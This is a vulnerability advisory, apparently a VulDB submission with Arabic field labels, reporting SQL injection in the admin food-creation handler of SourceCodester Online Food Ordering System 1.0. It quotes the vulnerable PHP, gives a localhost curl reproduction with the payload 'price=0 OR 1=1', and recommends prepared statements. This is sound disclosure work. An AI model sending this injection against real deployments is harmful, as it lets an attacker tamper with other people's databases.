| عنوان | SourceCodester Online Food Ordering System 1.0 SQL Injection |
|---|
| الوصف | # [G09] Food creation interpolates request fields into an INSERT
**Assessment:** Confirmed by source audit; reported by the final Agent run.
**Vulnerability type:** SQL Injection (CWE-89).
## Description
The food-creation handler inserts several POST fields directly into SQL. It applies a narrow letters-and-spaces check only to the title; description, price, category ID, and status fields are still interpreted as SQL syntax. Browser-side `type="number"` on the price input does not constrain a crafted HTTP request.
## Source evidence and analysis
Repository root: `targets/web-scan-20261028/web/`.
The handler reads request values without server-side SQL-safe binding (`admin/add_food.php`, lines 4–11):
```php
$title = $_POST['title'];
$description = $_POST['description'];
$price = $_POST['price'];
$category_id = $_POST['category_id'];
$featured = $_POST['featured'] ?? "No";
$active = $_POST['active'] ?? "No";
```
The title check does not protect the other fields, which are concatenated into the query (`admin/add_food.php`, lines 37–53):
```php
if (isOnlyLetters($title)) {
$sql = "insert into tbl_food SET
title = '$title',
description = '$description',
price = $price,
image_name = '$new_image_name',
category_id = $category_id,
featured = '$featured',
active = '$active'
";
$res = mysqli_query($conn, $sql);
}
```
For example, the unquoted `price` expression can contain `0 OR 1=1`; HTML escaping would not be the correct defense here. The upload code is a separate issue documented in G17.
## Reproduction (disposable local instance only)
Use an existing test category and create a disposable food row. `0 OR 1=1` is evaluated by SQL as a numeric expression instead of rejected as an invalid price:
```bash
BASE=http://127.0.0.1:8080
curl -i -X POST "$BASE/admin/add_food.php" \
--data-urlencode 'submit=1' \
--data-urlencode 'title=SQLProbe' \
--data-urlencode 'description=source-audit-test' \
--data-urlencode 'price=0 OR 1=1' \
--data-urlencode 'category_id=30' \
--data-urlencode 'featured=No' \
--data-urlencode 'active=No'
```
Replace category ID `30` with a disposable test category. Inspect and remove only the test row.
## Impact and scope
The attacker controls SQL expressions used to create food records and can manipulate stored values or query behavior. The source establishes SQL injection; it does not establish stacked-statement execution or database-server compromise. Because the shared admin guard does not terminate unauthenticated requests (G01), the handler may be reachable without an authenticated session in the reviewed application.
## Recommended fix
Replace the concatenated `INSERT` with a prepared statement and bind every value. Validate price as a numeric decimal with appropriate range and category ID as a positive integer; allowlist status values. These checks complement, but do not replace, parameter binding. Enforce authorization before uploads or database writes.
|
|---|
| المصدر | ⚠️ https://gist.github.com/Ka7arotto/c74ecc431ff3df8150a66bd3063113c5 |
|---|
| المستخدم | Goku (UID 80486) |
|---|
| ارسال | 28/10/2026 01:26 PM (29 أيام منذ) |
|---|
| الاعتدال | 26/11/2026 01:58 AM (29 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 444131 [SourceCodester Online Food Ordering System 1.0 Admin Food Creation admin/add_food.php price حقن SQL] |
|---|
| النقاط | 20 |
|---|